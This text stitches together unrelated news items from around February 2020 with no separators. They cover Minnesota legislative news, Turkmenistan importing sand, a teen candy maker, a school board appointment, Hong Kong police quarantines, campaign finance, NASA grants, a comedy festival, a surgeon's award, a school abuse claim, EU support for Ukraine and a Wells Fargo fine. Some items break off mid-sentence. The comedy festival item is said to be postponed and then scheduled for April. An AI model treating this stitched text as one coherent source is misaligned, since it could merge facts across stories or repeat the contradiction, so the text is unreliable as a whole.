viewing.) It was a busy week at the Capitol. Here are some of the highlights from fireworks to whiskey plates: Fireworks DFL Gov. Tim Walz says he would probably sign a bill to expand legalized fireworks in the state if it reaches his desk this year. Thats a change from the previous governor, Mark Dayton, who firmly opposed the proposal year after year. "My arguments have been made on certain things that prohibition doesnt necessarily always work," Walz said, noting a lot of Minnesotans buy fireworks in Wisconsin. Currently, only novelty fireworks, such as sparklers, are legal here. Lawmakers are considering legislation to allow audible and aerial fireworks, such as bottle rockets. "If you follow instructions, that minimizes the risk. And I believe many of these retailers have safety videos available for people to follow, so they can learn how to use them correctly," said Sen. Jason Rarick, R-Pine City, the bills sponsor. ADVERTISEMENT Firefighters remain strongly opposed to the proposed expansion. The Senate judiciary and public safety committee narrowly advanced a fireworks bill on Wednesday. Pardon law Minnesota first lady Gwen Walz on Wednesday called for a rework of the states pardon laws to give more people a shot at a clean slate. Walz told a rally in support of sentencing revisions, voting rights restoration and other criminal justice changes that Minnesota grants too few pardons. A three-member board that includes the governor meets twice a year to consider pardons, which require a unanimous vote. "If you need a pardon, apply. Those numbers have been going down. Apply. Flood the zone. Because what that does is fully restores people to our community. And we need each and every person in this state in our community. Rights restored, active, engaged," Walz said. Gov. Tim Walz has said Minnesotas system is dated and needs to be revised. In Minnesota, a pardon comes after somebody has completed a sentence and effectively wipes a conviction off a record. Slavery language A bill to remove antiquated references to slavery in the Minnesota Constitution is moving through the Minnesota Legislature. Slavery has long been prohibited by federal law, but Minnesotas founding document still technically allows it as punishment for a crime. "As the great-great-granddaughter of slaves, this issue is personal to me. Its a matter of human dignity. Its unacceptable for our state to sanction slavery or involuntary servitude under any circumstance. Its time for this language to be eliminated," said Rep. Rena Moran, DFL-St. Paul, the bills author. Moran and other lawmakers want the language struck from the constitution altogether and will ask voters to approve the change. ADVERTISEMENT Felon voting rights People with criminal pasts have renewed their push for Minnesota law changes that would allow them to regain their right to vote sooner. The felon voting rights initiative is among the criminal justice measures being pursued by the Second Chance Coalition. The organization also hopes lawmakers will make drivers license reinstatement easier, consider alternatives to traffic fines and make pardons easier to attain. Marlin Meszaros served prison time for drug offenses but remains on probation for six more years so, he cant vote. "Not having the right to vote and living in society the two things just dont add up. If Im trusted to live out here, I should be trusted to step in a voting booth and say so in who represents me. Its just as simple as that," he said at a Capitol rally this week. The voting rights restoration bill has significant support in the DFL-controlled House, but more resistance in the Republican-controlled Senate. Road tests Minnesota lawmakers are considering a change in state law to help speed up the wait for driving tests. The Senate transportation committee heard a bill Wednesday that would allow people other than state employees to conduct behind-the-wheel exams. People applying for drivers licenses in the metro area have faced long waits to take road tests. Some travel hundreds of miles for exam openings. ADVERTISEMENT "Its important to all of us working adults and all the young drivers of Minnesota that we do have this process streamlined, and they dont have to wait longer than two weeks to get their drivers license test taken, and perhaps taken again and again. Nobody wants to drive more than 30 miles to take their drivers test," said Sen. Karin Housley, R-St. Marys Point. Whiskey plates A bipartisan group of legislators is attempting to curb those black-and-white license plates that some drunken driving offenders must put on their cars. A newly introduced House bill would allow offenders to avoid the specialized plates that start with a "W" sometimes called whiskey plates if they use an ignition lock device instead. Rep. Dave Baker, R-Willmar, said the plates stigmatize people with addiction problems. "We need to do a better job of getting rid of the whiskey plates in Minnesota. Theres no reason we need to publicly shame anybody anymore with the invention of the interlock system," he said. The plates alert law enforcement and other drivers to someone who has been convicted of certain DWI offenses. But courts have ruled that officers need to spot a traffic violation to stop a car and cant do so solely on the basis of the plates. Farmer mental health State officials told lawmakers on Thursday that there's a continued need to fund mental health programs for farmers. Rural mental health specialist Monica McConkey said stress is leading to more alcohol abuse and relationship issues. She said sometimes stress leaves farmers unable to make decisions or deal with problems. "They don't open their mail, when the mail comes, especially if it's from a regulatory agency, it goes on the pile on the desk. So, I've even been on the phone with farmers and they've opened their mail with me on the phone, and we just kind of talk through it," she said. McConkey said she hears directly from farmers and from concerned family members. Meg Moynihan, a senior adviser with Department of Agriculture, told lawmakers that a series of six suicide prevention training sessions held around the state were filled to capacity. The department added three trainings and still has a waiting list. More than 233 people whose work is related to agriculture have been trained in suicide prevention, she said. "And we know to date at least four of them since the training did a suicide prevention intervention and intervened in a situation where somebody was at risk of suicide," she said. "That kind of shook me to my core." Clean car rule The governors proposal to implement a "clean cars" rule in Minnesota came under fire at the state Legislature. The Walz plan would create a rule managed by the state Pollution Control Agency designed to make more low- and zero-emission vehicles available for sale in Minnesota. Rural Republican state senators railed against the plan, which follows Californias lead, arguing it should have gone through the Legislature instead of an agency rule-making process. They questioned the impact the rule might have on human health, which it is intended to support, and climate change, the effects of which it is intended to help mitigate, and asserted it would raise the prices of cars and trucks sold in Minnesota. "This is really circumventing the state of Minnesota, its citizens, and the Legislature," Sen. Carrie Ruud, R-Breezy Point, told Minnesota Pollution Control Agency Commissioner Laura Bishop at a hearing Wednesday. Loon protection A Senate committee has cleared the way for Minnesota to receive federal funding to help the state's loons. The federal government awarded Minnesota more than $6 million from its settlement with BP over the Deepwater Horizon oil spill in the Gulf of Mexico, where many loons spend their winters. The Minnesota Pollution Control Agency received about $1.2 million to encourage anglers to use lead-free fishing tackle. "So many Minnesotans care very deeply about the environment, about water quality, about loons, that we already know that they're strongly in support of this effort. They just need a little bit of help to make that transition away from lead fishing tackle," MPCA supervisor Kevin McDonald said. One state senator had delayed the funding by requesting more information on the lead-free program. A Senate committee held a hearing earlier this week, and allowed the funding to proceed. Carrol Henderson, a retired nongame wildlife supervisor for the Minnesota DNR, testified in support of the program. "At least 100 to 200 loons per year are dying from lead poisoning when they pick up lead jigs or sinkers on lake bottoms. And when we passed around the pebbles, those show that the size of the pebbles they pick up and grind up with their fish are about the same size as the jigs and sinkers they're picking up on the bottom," he said. Prescription drug costs Minnesota Attorney General Keith Ellison released a report Wednesday on ways to lower prescription drug prices. The report makes 14 recommendations for lowering prices through greater transparency in the prescription drug market and using public pressure to make drugs more affordable and accessible. Some life-saving drugs, including insulin would be imported on a trial basis. There would also be a crackdown on price gouging. "When it comes to the high cost of prescription drugs, too many Minnesotans have told me that theyre having to choose between affording their lives and affording to live," Ellison said. Some of the recommendations need legislative action. Others can be done administratively. Ellison said his office will also continue several legal fights aimed at bringing down drug prices. Transit ambassadors A Minnesota House panel advanced legislation on Thursday to address fare evasion and other problems on light rail transit. But the measure approved by the House transportation committee on a voice vote is a watered-down version of an earlier bill. Under the new version, a Transit Riders Investment Program, or TRIP, would be established on a light rail only at a cost of $1 million. An earlier bill set up an ongoing program that also included buses. Rep. Brad Tabke, DFL-Shakopee, said the plan is now for a six-month pilot program. "We have TRIP personnel that will be working throughout the transit system and working to help make sure that all fares are being collected, make sure that code of conduct issues are being reported and handled appropriately," he said. Rep. Paul Torkelson, R-Hanska, criticized the revised bill as a "dramatic rollback" from the original. He questioned how effective it would be in addressing known light rail problems. GOP Senate tax cut plan Republicans in the Minnesota Senate have outlined a package of tax cuts that they say would benefit everyone in the state. The plan announced Thursday would use the projected $1.3 billion budget surplus and also create several ongoing budget obligations. It would lower income taxes, expand education tax credits and eliminate state taxes on Social Security Income. "People come up here to the Legislature and almost all the time, what are the looking for? Money. Were going to give it to them. Were going to allow them to live their lives, empower them to do what they want, improve their communities, improve job growth, strengthen this economy, continue down the path weve been on for a few years," said Sen. Roger Chamberlain, R-Lino Lakes, the chair of the Senate tax committee. The plan is unlikely to get much attention in the DFL House. Walz has said he opposes the Social Security proposal and other costly tax cuts. Minor political party status Two minor political parties say theyll field U.S. Senate candidates in Minnesota as they strive to attain major-party status after 2020. DFL Sen. Tina Smith is running for another six-year term for the seat shes held since 2018. Former Republican Rep. Jason Lewis is the front-runner for his partys nomination. But the chairs of the Independence Alliance Party and the Green Party say theyll work to put candidates on the ballot, too. That could be critical if the race is close. "One of the reasons were running a U.S. Senate candidate is to get major-party ballot status back. Without ballot access, it is a slog to go out and gather petition signatures," said IP Chair Phil Fuehrer. He said the Senate race is the only statewide contest in the fall. Candidates who achieve at least 5 percent of the vote elevate their partys status. The head of the states Libertarian Party says it has no plans to put up a U.S. Senate candidate. Libertarian Chair Chris Holbrook said Minnesota requires more signatures for minor party access. And its two-week petition period is shorter than neighboring states. "We are a clear outlier. We are less than a dozen states left who have such rigid restrictions on running for office. Were asking for the window to petition and file to be expanded. And were asking for the oath on these petitions to be altered," Holbrook said. Minnesota has four major parties whose candidates get automatic ballot access the DFL and Republican parties plus two parties pushing for marijuana legalization. MPR News reporters Tim Nelson, Dan Kraker, Dan Gunderson and Kirsti Marohn contributed to this story. This story originally appeared at: https://www.mprnews.org/story/2020/02/21/this-week-at-the-legislature-fireworks-whiskey-plates-voting-rights of story Questions or requests? Contact MPR News editor Meg Martin at newspartners@mpr.org 2019 Minnesota Public Radio. All rights reserved. Turkmenistan, a Central Asian country where sandy deserts account for 80 percent its territory, is prepared to pay 1 million pounds ($1,289,000) to British company Andrew Bowen Ltd. for 10,000 tons of sand that it wants to use for a new horse-racing track. Simon Bowen of Andrew Bowen Ltd. told RFE/RL by phone on February 20 that, according to the deal reached with Turkmenistan, the company will deliver all necessary materials for the new track by April, including 10,000 tons of sand from the English county of Lancashire. According to Bowen, sand is one of many components used for horse-racing tracks, including synthetic materials and wax. Bowen told BBC earlier that the sand in Turkmenistan had the "wrong texture and shape," while "sand in Lancashire" is preferable for horse-racing tracks. The news about buying sand from Britain comes amid Turkmenistan's move to cut spending due to economic difficulties. With reporting by BBC Alina Morse is a typical 14-year-old girl in a lot of ways. She goes to high school, likes to dance, and lives with her parents. Did we mention she also runs her own international candy empire? Oh. Well, she does. The story begins with a trip to the bank when Morse was 7. She asked if she could have a sucker, but Dad discouraged her, explaining that candy was bad for her teeth. She went home empty-handed that day, but something tugged at her mind. Candy tastes so good. Why does it have to be bad for your teeth? Just like that, the idea for the Zollipop, a sugarless lollipop, was born. Alina Morse, the CEO and founder of Zolli Candy. (David Yellen) A Healthy Lollipop? Instead of using simple sugars to make her candy, Morses Zollipops are made with xylitol (pronounced zy-li-tol), a natural sweetener. It took months of research, testing, and YouTube-watching to develop the candy base, but once she finally did, Morse had the hippest lollipop in the worlda sugar-free, dairy-free, gluten-free treat that still tastes good and actually cleans your teeth. Using $3,500 of her own money (which she had saved from birthdays and holiday gifts) and a manufacturing investment from her father, Morse built a company and sold 70,000 Zollipops in her first year. Things only grew from there. Today the Zollipop is the third best-selling lollipop on Amazon, outselling classic brands like Dum Dums, Charms Blow Pops, and Tootsie Pops. They are sold in roughly 25,000 major retailers in America, including Whole Foods, Walgreens, Walmart, and Kroger. Some product experimentation in the early years. (Courtesy of Zolli Candy) Things have, you could say, worked out. Annual candy sales, which now include Zolli taffy and gumdrops, totaled $6 million in 2018. Morse has seven employees and is a millionaire and famous. She was featured on the cover of Entrepreneur Magazine, making her the youngest entrepreneur to ever grace the cover, and she was even invited to the White House (twice!) by then-first lady Michelle Obama. At age 14, Morse has already achieved the American Dream. This invites an important question: How did it happen? The Inspiration Behind Morse and Zollipops In August 2019, Inside Edition ran a wonderful feature on this teenage entrepreneur. From the clip, its not difficult to see that Morse is bright, engaging, and drivenall keys to success. Its also clear that her parents had a lot to do with her achievements. (I imagine this is the case in nearly every child prodigy story). Morses mother and father appear to be loving, nurturing parents who helped guide their daughters habits, values, and thinking. At one point, Morse tells Inside Edition that shes always kind of had this entrepreneurial mindset. This may be true, but its important to ask why she always had such a mindset. Evidence suggests it was no accident. When Morse was 5, her father gave her the personal finance book Rich Dad, Poor Dad. (Courtesy of Zolli Candy) Most parents, I think its safe to say, do not buy their 5-year-olds financial success literature. Well, Tom Morse did. When his daughter was 5, he gave her the book Rich Dad, Poor Dad. The book apparently made an impression. I looked at that, and I said I could create a company, but I could create it with a mission, Morse explained. I could help people through business. For those unfamiliar with the work, Rich Dad, Poor Dad explains what the rich teach their kids about money that the poor and middle class do not. Written by business gurus Robert Kiyosaki and Sharon Lechter, its one of the top-selling personal finance books of all time. Its the book your rich, successful uncle bought you that you never actually opened. Rich Dad, Poor Dad isnt one of those books that preaches frugality and hard workthough those are important qualities. It teaches entrepreneurial thinking. It shows how to build your own business, one that creates value by solving problems, and how to build passive income by recognizing opportunities others dont see (or dont act on). The Lesson No one is saying Morse isnt responsible for her success. She is. Its quite possible she would have been a teenage millionaire if she hadnt read Rich Dad, Poor Dad. The lesson is that successful entrepreneurs create value through vision and empathy. They see how the world can be better, and they put resourcesblood, sweat, capital, and timeinto creating it. But it all starts with empathy, explains BuildDirect CEO Jeff Booth. The highest expression of empathy, writes Booth, is addressing customer needs before theyre even aware of them. Morse at the Sweets & Snack Expo in Chicago in May 2018. (Courtesy of Zolli Candy) Empathythe ability to understand and share the feelings of othersis essential to entrepreneurs because it allows them to see opportunities others do not. Basic economics teaches that this an essential component of wealth creation. The driving forces in the market process are the producer-entrepreneurs who see profit opportunities arising from potential improvements in market activities, wrote Thomas C. Taylor in his classic text An Introduction to Austrian Economics. While other market participants are more or less passive, unaware of or perhaps uninterested in profit-related opportunities, entrepreneur-producers search out and exploit profit potentials. Prior to Zollipops, it was no secret that candy is bad for childrens teeth. What it took was a childs empathy to recognize it was a problem for multitudes of children (and their parents, who have to pay their dental bills). Unlike so many children who imagined how wonderful it would be to eat candy that tasted good and was good for your teeth, Alina Morse actually did something about it. In the process, she made millions of children (and dentists) happier and herself millions of dollars. Thats the power and beauty of entrepreneurship. Jonathan Miltimore is the managing editor of FEE.org. This article was originally published on FEE.org A veteran teacher and an author whose books have helped millions of children learn to read has joined Ridgefields Board of Education. I was a teacher for 20 years and Im on a leave of absence this year, said Nora Gaydos. And Im actually not going to go back to the classroom, so Im sort of closing that door. Im also a childrens author. I have for the past several years been a teacher and a writer, and Im going to now focus on the writing. Gaydos was chosen by the Board of Education Monday night, Feb. 10, to fill the vacancy left by the resignation of Doug Silver. One of the main reasons I wanted to be part of Board of Education is I really strongly believe in the public schools, Gaydos told The Press. I come from a family of teachers, both of my parents were 40-year public school educators. That was a reason, my strong belief in the public schools. I think I really have a high expectation for student achievement and a strong desire to enhance the Ridgefield schools, she added.. The last reason I really wanted to be on it was because I feel like I can be a really trustworthy representative of the publics interest, someone that people can talk to and know Ill be honest and straightforward and reflective. Elementary level Gaydos teaching has all been in elementary schools in Redding for the last 10 years, following eight years in Westport and five years in Ohio before that. All elementary, ranging from kindergarten to grade five, she said. Ive done it all in the elementary grades. Board of Education Chairwoman Margaret Stamatis said Gaydos is a welcome addition. Like Doug Silver, Nora brings an educator and a RPS parent perspective to the Board of Education, Stamatis said. ...During her teaching career, she sat on school improvement committees, developed and wrote new curriculum, and implemented innovative programs geared toward remediation in literacy. She's an award winning author of early literacy children's books, the Now Im Reading Series. Literacy is a passion of hers. Gaydos has live in Ridgefield 15 years. Her husband, Christopher, is chief financial officer for Time magazine. They have two sons: Luke, a sophomore at Brown University, and Owen, a junior at Ridgefield High School. She grew up in Michigan and went to college at Miami University of Ohio, where she met her husband, whos from Cleveland. Definitely Midwesterners, she said, but we have really found a home out here. Young readers Her writing reflects her interest in education. I write mainly beginning reading type books, she said. They are early literacy books that help children learn to read, and one of the most popular things Ive written is a beginning reading series. Its a series that combines phonetics with a literature-based approach, while developing comprehension and, most of all, confidence in young readers basically a step-by-step approach that introduces phonetics in a systematic way while being true to the story experience. Shes proud of the books, and the role theyve played in kids education. Theyve helped over three million children learn to read, she said. ... And hearing from teachers and kids and parents all of the world is something Im really proud of. Asked about her priorities, Gaydos said she doesnt have an agenda she wants to pursue on the board. But she did describe some educational values she hopes to give voice to. I have sort of broad priorities I could tell you about, she said.. Putting students first would be number one, and focusing on whats best for all students. I also believe that the high quality of instruction that students in Ridgefield are receiving begins with the nurturing and strong teachers that we have, and with that I believe in elevating the respect that teachers receive. Another major priority is responding to the beliefs and values of the entire community, she said. Im not representing only parents of school-age children. I want to be a voice for all members of the community. Also, adopting a fiscally sound district budget that also provides the best possible education to the Ridgefield students, she said. The last one would be working as a team with other board members to provide support for teachers, students and administrators while also representing the needs and wants of the community. Giving back Gaydos said her interest in serving on the Board of Education grew, in part, from gratitude for all that the Ridgefield Public Schools had done for her two sons. I feel very honored to be able to give back to the district that has given so much to my boys, she said. I really feel like Ridgefield has given my boys so much, and hope to give that to the next generation. By PTI HONG KONG: Dozens of Hong Kong police officers have been placed in quarantine after attending a banquet with a colleague who later tested positive for the new coronavirus, officials said Friday. The news prompted celebrations among some pro-democracy protesters, a vivid illustration of how deeply polarised the city has become after months of rallies and thousands of arrests last year. The 48-year-old officer found to be carrying the virus had dinner on Tuesday with 59 colleagues, police said. All have been classified as "close contacts" and ordered to undergo mandatory quarantine. Health officials said four officers as well as the infected policeman's wife and mother-in-law showed symptoms of illness. ALSO READ | Another corovirus hotspot in China: Over 500 cases detected in prisons across country Protesters gathered inside a mall on Friday celebrated the news of the quarantine, with one man offering bottles of Corona beer to passersby in a wry reference to the virus. Social media was also inundated with messages from Hong Kongers vowing to mark the occasion by drinking champagne. Months earlier a police officer had been filmed shouting that he and his colleagues would drink champagne after the death of a student on the sidelines of a pro-democracy rally. Friday's protest marked the seven-month anniversary of a bloody assault by club-wielding men -- some with connections to "triad" organised crime gangs -- on protesters at a train station. Police were accused to failing to respond quickly enough to the attack, in which 40 people were hospitalised. Officers were also filmed afterwards talking to some of the perpetrators, who were allowed to go free. Police denied turning a blind eye and said they were busy dealing with violent pro-democracy protesters elsewhere that night. But the incident sparked huge public anger that resonates to this day. ALSO READ: 645 Indians evacuated from coronavirus-hit Wuhan tested negative, says Harsh Vardhan Hong Kong's huge pro-democracy protest movement appeared to be losing momentum at the start of the year but the COVID-19 outbreak -- which has infected 69 people and claimed two lives in the city -- has effectively ended all mass gatherings. The protests were pushing for universal suffrage and an independent inquiry into the police. Around 7,000 people were arrested during the protests, many facing up to ten years jail on rioting charges. Sen. Elizabeth Warren of Massachusetts, who had sworn off money from super Political Action Committees and big-donor fundraisers, said on Thursday that she would not ask a Nevada Super PAC to stand down, arguing other Democratic presidential candidates had forced her to level the playing field. Warren told reporters as she campaigned in Nevada that on the day she got into the race more than a year ago, she called on Democrats to scorn super PAC money. I made that call dozens of times and I couldnt get a single Democrat to go along with it, she told reporters, according to a video tweeted by Politico. We reached a point a few weeks ago where all the men ... all had super pacs or were multi-billionaires and could just rummage around in their sock drawers and find enough money to be able to fund a campaign, and the only people who didnt have them were the two women. And at that point, there were some women around the country who said, thats not right. Warren doesnt call on Super Pac to stand down. If all the candidates want to get rid of super PACs, count me in. I'll lead the charge. But that's how it has to be. It can't be the case that a bunch of people keep them and only 1 or 2 dont.pic.twitter.com/4Eaqr6yJWx Alex Thompson (@AlxThomp) February 20, 2020 Politico reported that Persist PAC, a new pro-Warren super PAC, has reserved about $800,000 in TV and radio ads ahead of the Nevada caucuses, per Advertising Analytics. Warren said that if all the candidates agree to get rid of super PACs, count me in. Ill lead the charge," she said. "But thats how it has to be. It cant be the case that a bunch of people keep them and only 1 or 2 dont. The somewhat reluctant shift for Warren comes as former New York City Mayor Mike Bloomberg has funneled about $400 million of his own money into the congested contest to face President Donald Trump, a fundraising juggernaut in his own right. Warren has consistently hammered candidates, including former South Bend Mayor Pete Buttigieg, for accepting money from millionaires and billionaires in high-priced donor events. But Buttigieg has argued that the changing nature of politics in the age of Trump means that Democrats need as many voices, and donors, as possible in the fight for the White House. Buttigieg on Thursday said that with Bloomberg in the race, and with nine dark money groups supporting Bernie Sanders, the goal posts have changed. But heres the reality: With Michael Bloomberg in the race, and with nine dark money groups supporting Bernie Sanders, the goal posts have changed. Pete Buttigieg (@PeteButtigieg) February 20, 2020 Sanders has come under fire in recent days because Our Revolution, the political nonprofit he founded after the 2016 race, is structured as a 501c4 that can accept unlimited donations and has declined to disclose its biggest donors, according to the Washington Post. NEWTOWN BOROUGH >> The Newtown Borough Council welcomes the new year with three new members of council and a new borough mayor. District Court Judge Mick Petrucci was on hand on January 3 to administer the oath of office to the towns new mayor, Republican John Burke, who replaces longtime mayor Charles Corky Swartz who decided not to run for... WASHINGTON, Feb. 21, 2020 /PRNewswire/ -- NASA has awarded more than $39.8 million through the agency's National Space Grant College and Fellowship Project to increase student and faculty engagement in STEM at community colleges, technical schools and universities across the nation. Each award has a four-year performance period and a maximum value of $760,000 for fiscal year 2020. NASA awarded funds to 52 proposals aimed at attracting and retaining more students from institutions of higher education in science, technology, engineering, and mathematics programs. Awardees plan to use the funds to increase diversity and inclusion in STEM fields. Each selected submission aligns with goals of both the NASA mission directorates and the agency's Office of STEM Engagement to enable contributions to NASA's work; build a diverse, skilled future STEM workforce; and strengthen understanding of STEM through powerful connections at NASA. One awardee, the Arizona Space Grant Consortium, will provide funding for the Arizona STEM Challenges to Educate New Discoverers (ASCEND) program, which will allow students to participate in designing, building, and flying entry-level balloon payloads. Through each payload and launch, students will collect and study data while building excitement for careers in STEM. The ASCEND program will promote NASA and Space Grant to underrepresented student populations. On the East Coast, the Georgia Space Grant Consortium will bring internship opportunities to students from West Georgia Technical College and Atlanta Metropolitan State College. Both colleges will offer two local-industry internships during the fall and spring semesters. Students from Atlanta Metropolitan State College enrolled in the Engineering Transfer associate degree program will be eligible to apply, as well. Nebraska Space Grant Consortium will continue offering project-based learning opportunities to students from the University of Nebraska-Lincoln. As part of the program, participating college students will be able to compete in the Lunabotic challenge at NASA's Kennedy Space Center in Florida. Working in teams, students will be tasked with creating an operational robot to demonstrate techniques and technology for mining minerals on the Moon a real-world problem NASA must solve in the agency's Moon to Mars exploration initiative and its Artemis program. This month, the NASA Space Grant Consortium celebrates its 30th anniversary of inspiring the next generation of explorers. NASA Space Grant Consortia operates in all 50 states, the District of Columbia and the Commonwealth of Puerto Rico. In addition, NASA partners with more than 1,000 affiliates, including colleges, universities, industry, museums, science centers, nonprofit organizations, and state and local agencies, to enrich science and engineering education, research and public outreach efforts for NASA's aeronautics and space projects. The National Space Grant College and Fellowship Project is managed by NASA's Office of STEM Engagement. Through NASA's higher education program and funding, the agency continues its tradition of investing in STEM education with the goal of developing authentic learning opportunities that are relevant to NASA's mission. These investments develop the skills needed to achieve the nation's exploration goals through a robust, diverse STEM workforce. For more information about the awards and proposals funded, visit: https://go.nasa.gov/2ujeqEB For more information about the National Space Grant College and Fellowship Project, visit: https://go.nasa.gov/37zZEb3 For more information about NASA's education programs, visit: https://www.nasa.gov/stem/highereducation/index.html SOURCE NASA Related Links http://www.nasa.gov The Johannesburg International Comedy Festival (JICF) has been postponed due to the Covid-19 outbreak. The fourth Johannesburg International Comedy Festival (JICF) will be held in Braamfontein from 15 to 18 April. More than 30 local, continental and international comedians are set to perform at this year's festival across The Mandela, Lesedi and Space.com Theatres at the Joburg Theatre precinct. Jason Goliath Joey Rasdien Lindy Johnson Yaaseen Barnes Once again, South Africa will be strongly represented by some of its funniest men and women proudly flying the flag up high at this years edition. The Mzansi contingent for the 2020 instalment includes Jason Goliath, Celeste Ntuli, Mpho Popps, Kagiso Lediga, Joey Rasdien, Conrad Koch and Chester Missing, Tats Nkonzo, Rob van Vuuren, Robby Collins, Mojak Lehoko, Yaaseen Barnes, Thabiso Mhlongo, Lindy Johnson, Ebenhaezer Dibakwane amongst others to be confirmed in due course.Continental acts confirmed thus far are African giants Salvado (Uganda) and Alfred Kainga (Zimbabwe) who are set to impress Johannesburg audiences with their unique Afrocentric style of comedy.Over the next few weeks, more shows and international comedy talents will be added to the festival line-up with every indication of another bumper comedy extravaganza in store.I am excited to reveal that the Johannesburg International Comedy Festival is back with a bang this year. We are thrilled to bring over 30 of the most exciting acts in SA, the continent and the globe to Johannesburg for a few days of exceptional comedy and memorable fun. We are looking to build on the successes of the previous editions and provide our audiences with another novel and unforgettable comedy experience, says Takunda Bimha, founder and director for JICF.We are excited to collaborate with this years edition of the Johannesburg International Comedy Festival. Our role is to amplify a great offering the festival has to offer to millions of South Africans. Through this partnership, SABC 2 will be broadcasting the Johannesburg International Comedy festival stand up offering comprising of the best from the previous editions which will take place every Saturday, over four weeks starting from the 11 April 2020. Through this partnership, premium comedy content will now be accessible to a wider audience, elevating the JICF to new heights. SABC 2 is now a channel where JICF belongs, Dichaba Phalatse, SABC TV Network marketing manager.Our programming strategy for the past three festivals has proven to be a winning formula thats landed well with our audiences. We are aiming for more of the same, if not even better this year. Particularly, Im very proud of the local contingent thats on our bill which combines some of the biggest names in South African comedy with the hottest comedy talent thats coming out of the local scene today. With the array of world-class continental and international talent that we will be announcing soon, this promises to be a truly vintage year for the Festival, Bimha concludes. A Specialist Surgeon at the Korle Bu Teaching Hospital, Dr. Abdullah Hadi Mohammed has won the 2019 MT Shokunbi Prize In Neurosurgery in a graduation ceremony held in Abuja Nigeria. Organized by the West African College of Surgeons, the award is aimed at recognizing the contribution of young surgeons in the West African sub-region. The Prestigious Award is named after Matthew Temitayo Shokunbi a Nigerian Neurosurgeon and Professor of Anatomy. M T Shokunbi got his degree at the University of Ibadan shortly after completing his A levels after which he started a residency program in Neurosurgery in Ontario, Canada and became a lecturer in Anatomy at the University of Ibadan, and in Neurological surgery at the University College Hospital, Ibadan. He was also an Honorary Consultant Neurosurgeon. At the colorful ceremony held at the Abuja International conference centre in Nigeria which, saw the induction of new fellows of the West African College of Surgeons, Dr Abdullah was the only Ghanaian who graduated as a Neurosurgeon at the ceremony which was dominated by Nigerians. He was the only graduating fellow who won a Prize in Neurosurgery. He also surprisingly had the best dissertation in Neurosurgery and passed the WACS fellowship exams at first attempt. The ceremony highlighted the 60th anniversary celebration of the prestigious Regional college which has trained several surgeons for West Africa. The Sultan of Sokoto who was the special Guest of honour graced the occasion. A NSW boarding school's web pages dedicated to a celebrated former teacher were erased soon after the institution faced questions over claims he inflicted physical and sexual abuse on students. A former pupil of The Armidale School is also calling for a statue erected during a 2016 tribute to the late housemaster and veteran staff member Desmond Lyle "Jim" Graham to be removed. A bronze statue titled The Spark was erected following the death in 2016 of Desmond Lyle "Jim" Graham, a teacher at The Armidale School. Credit:The Armidale School Comrie Bucknell, who went to the school from 1966 to 1971, said he was sexually abused while being caned by Mr Graham. "Get rid of the statue," Mr Bucknell told the Herald. The European Union reaffirms unwavering support for the sovereignty and territorial integrity of Ukraine, according to Ambassador Silvio Gonzato, Deputy Head of the European Union Delegation to the United Nations. He said this at a UN General Assembly meeting on the situation in the temporarily occupied territories of Ukraine in New York on Thursday, February 20. "The European Union recalled its unwavering support to the sovereignty, territorial integrity, unity and independence of Ukraine within its internationally recognized borders, including its territorial waters," Gonzato said. He noted that Russia's illegal annexation of Crimea is "not only a serious bilateral or European concern but a global one." "The EU reconfirms its condemnation of this violation of international law and continues to implement its consistent non-recognition policy of the illegal annexation, including through restrictive measures together with its transatlantic partners," the diplomat said. Gonzato stressed that "the EU will continue to support Ukraine's resilience, including by improving its ability to counter hybrid threats." "The EU reaffirms resolute support for Ukraine's reform efforts, especially when it comes to the implementation of commitments linked to the Association Agreement," he said. op A branch of the Wells Fargo bank in Midtown Manhattan, New York City, on Sept. 20, 2016. (Benjamin Chasteen/Epoch Times) Wells Fargo Fined $3 Billion in Staggering Fake Accounts Scandal Wells Fargo was hit with a $3 billion fine Friday by federal authorities outraged by the millions of fake accounts created at the troubled bank over many years. The settlement with the Justice Department and Securities and Exchange Commission (SEC), years in the making, resolves Wells Fargos criminal and civil liabilities for the fake-accounts scandal that erupted nearly four years ago. The deal does not, however, remove the threat of prosecution against current and former Wells Fargo employees. Prosecutors slammed Wells Fargo for the staggering size, scope and duration of the unlawful conduct uncovered at one of Americas largest and most powerful banks. As part of the deal, Wells Fargo admitted that between 2002 and 2016, it falsified bank records, harmed the credit ratings of customers, unlawfully misused their personal information and wrongfully collected millions of dollars in fees and interest. Todays announcement should serve as a stark reminder that no institution is too big, too powerful, or too well-known to be held accountable and face enforcement action for its wrongdoings, U.S. Attorney Andrew Murray for the Western District of North Carolina said in a statement. The settlement focused squarely on Wells Fargos fake-accounts scandal, not the mistreatment of workers, auto borrowers, homebuyers, and other customers that the bank has been accused of in recent years. Authorities said Friday that the criminal investigation into false bank records and identify theft at Wells Fargo is being resolved by whats known as a deferred prosecution agreement. Under that agreement, authorities have agreed not to prosecute Wells Fargo for three years as long as it abides by certain conditions, including its continued cooperation with further government investigations. Wells Fargo has also reached a civil settlement over its creation of false bank records with the SEC over its conduct. The $3 billion fine resolves all three investigations. Remarkable Fraudulent Conduct The SEC and Justice Departments settlement still leaves open the possibility that current and former Wells Fargo employees could be prosecuted. And in the agreement Wells Fargo admits that senior executives were aware of the illegal activity long ago. The top managers of the community bank were aware of the unlawful and unethical gaming practices as early as 2002, the settlement said. Yet Wells Fargo executives repeatedly refused to acknowledge the shady behavior was being driven by the banks wildly unrealistic sales goals, which were at the heart of the companys business model. Authorities said that senior executives at the community bank minimized the problems by shifting the blame to individual misconduct instead of the sales model itself. A Wells Fargo bank sign is pictured in downtown Los Angeles, California Aug. 10, 2017. (REUTERS/Mike Blake/File Photo) This settlement holds Wells Fargo accountable for tolerating fraudulent conduct that is remarkable both for its duration and scope, and for its blatant disregard of customers private information, Michael Granston, deputy assistant attorney general at the Department of Justices civil division, said in the statement Wells Fargo was not immediately available for comment. Not Out of The Penalty Box Yet The agreement removes a major cloud that has been hovering above Wells Fargo for years and shows the emphasis by the banks new management to move past the scandals. Charlie Scharf, the well-respected former CEO of Visa and Bank of New York Mellon, was hired last year to get the tarnished bank back on track. But Wells Fargos legal troubles are far from over. The settlement does not include the Labor Department, which launched a probe in 2016 into allegations that Wells Fargo committed wage theft and retaliated against whistleblowers. Multiple former Wells Fargo workers told CNN Business in 2016 that they were fired after calling the banks ethics hotline. Wells Fargo still faces an even bigger regulatory headache: the unprecedented sanctions imposed by the Federal Reserve in early 2018 that prevent the bank from growing its assets beyond $2 trillion. If that so-called asset cap is not removed soon, Wells Fargo may not be able to make the loans required to boost profits. Thats a much bigger hurdle. That will take time, said Gerard Cassidy, a banking analyst at RBC Capital. He expects that 